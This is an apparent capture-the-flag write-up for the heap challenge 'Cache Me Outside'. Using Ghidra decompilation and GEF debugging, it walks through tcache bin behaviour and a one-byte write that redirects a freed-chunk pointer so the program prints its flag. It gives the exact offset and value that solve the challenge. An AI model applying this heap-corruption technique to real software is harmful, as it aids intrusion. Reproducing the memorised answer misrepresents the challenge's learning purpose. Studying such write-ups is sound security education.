Cache Me Outside

Binary Exploitation


The binary provided performs some dynamic memory allocations and frees the allocated memory.  The Libc version used to compile the binary supports the TCache feature in the heap memory space.  This is where freed memory is associated with a tcache bin to speed up allocations when more memory is requested by a program.

Exploiting the binary involves modifying a memory location which holds the pointer to dynamic memory space in the tcache bin.  When the memory is next requested, the area of memory that contains the flag is returned and its contents printed by the binary.

Executable code – using Ghidra to decompile the binary.

undefined8 main(void)

  long in_FS_OFFSET;
  undefined local_a9;
  int local_a8;
  int local_a4;
  undefined8 *local_a0;
  undefined8 *local_98;
  FILE *local_90;
  undefined8 *local_88;
  void *local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined local_60;
  char local_58 [72];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  local_90 = fopen(“flag.txt”,”r”);
  fgets(local_58,0x40,local_90);  <- flag is read from file and stored in static memory
  local_78 = 0x2073692073696874;   “this is” 
  local_70 = 0x6d6f646e61722061;    “a random”
  local_68 = 0x2e676e6972747320;   “string.”
  local_60 = 0;
  local_a0 = (undefined8 *)0x0;
  local_a4 = 0;
  while (local_a4 < 7) {
    local_98 = (undefined8 *)malloc(0x80);
    if (local_a0 == (undefined8 *)0x0) {
      local_a0 = local_98;  <- save the pointer to the first heap memory location retrieved
    *local_98 = 0x73746172676e6f43;   “Congrats” 
    local_98[1] = 0x662072756f592021;   “! Your f” 
    local_98[2] = 0x203a73692067616c;    “lag is:” 
    *(undefined *)(local_98 + 3) = 0;
    strcat((char *)local_98,local_58); <- the flag is added to the string and stored at the current memory chunk
    local_a4 = local_a4 + 1;
  local_88 = (undefined8 *)malloc(0x80);
  *local_88 = 0x5420217972726f53;   “Sorry! T”
  local_88[1] = 0x276e6f7720736968;   “his won'”
  local_88[2] = 0x7920706c65682074;   “t help y”
  *(undefined4 *)(local_88 + 3) = 0x203a756f;   “ou:”
  *(undefined *)((long)local_88 + 0x1c) = 0;
  strcat((char *)local_88,(char *)&local_78);
  local_a8 = 0;
  local_a9 = 0;
  puts(“You may edit one byte in the program.”);
  printf(“Address: “);
  printf(“Value: “);
  *(undefined *)((long)local_a8 + (long)local_a0) = local_a9;  <- modify contents of memory with user specified value
  local_80 = malloc(0x80);
  puts((char *)((long)local_80 + 0x10));
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
  return 0;

The input to the program is a memory address and a value,  In the program, the actual memory location to be modified is determined as an offset from the first memory chunk requested. The user input (local_a8) is added to the pointer (local_a0) saved after the first chunk of memory is allocated:

*(undefined *)((long)local_a8 + (long)local_a0)

The challenge of this exploit is to determine the offset to enter and the byte value that will point to the memory address of a chunk that contains the flag.  The memory manager will first look at the tcache bins for available memory chunks.  

Binary Debugging – using GEF (GDB) to analyse the execution of the program.

To pause execution and examine the program status, set breakpoint at the call to free():

gef➤  b free
Breakpoint 1 at 0x400680

Run the program and GDB will pause before the call to free(). The state of the dynamic when the first free() is reached in the code:

Examine the heap memory and bins after free() is called for the second time. There are two free chunks placed in the Tcache bin. One of the chunks contains the flag text.

The Tcache bin works in last in first out order.  When the next malloc() call is made, the last freed memory chunk (addr=0x603890) is returned but we require the first freed memory chunk (addr=0x603800) that contains the flag text.

To achieve the desired result, the pointer to the first chunk needs to be modified so that it actually points to the second chunk.

First search for the memory location with the pointer to (0x603890):

gef➤  search-pattern 0x603890
[+] Searching 'x90x38x60' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x602088 - 0x602094  →   "x90x38x60[...]" 
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffdf50 - 0x7fffffffdf5c  →   "x90x38x60[...]" 

The heap memory address (0x602088) is the location to change because the memory request is serviced from heap memory.

Next calculate the offset from the first memory chunk pointer:

gef➤  print /d 0x602088 - 0x6034a0
$2 = -5144

Offset = -5144 is entered into the program as the address.  The value is x00 so that last byte of the memory address is the same as the first freed chunk.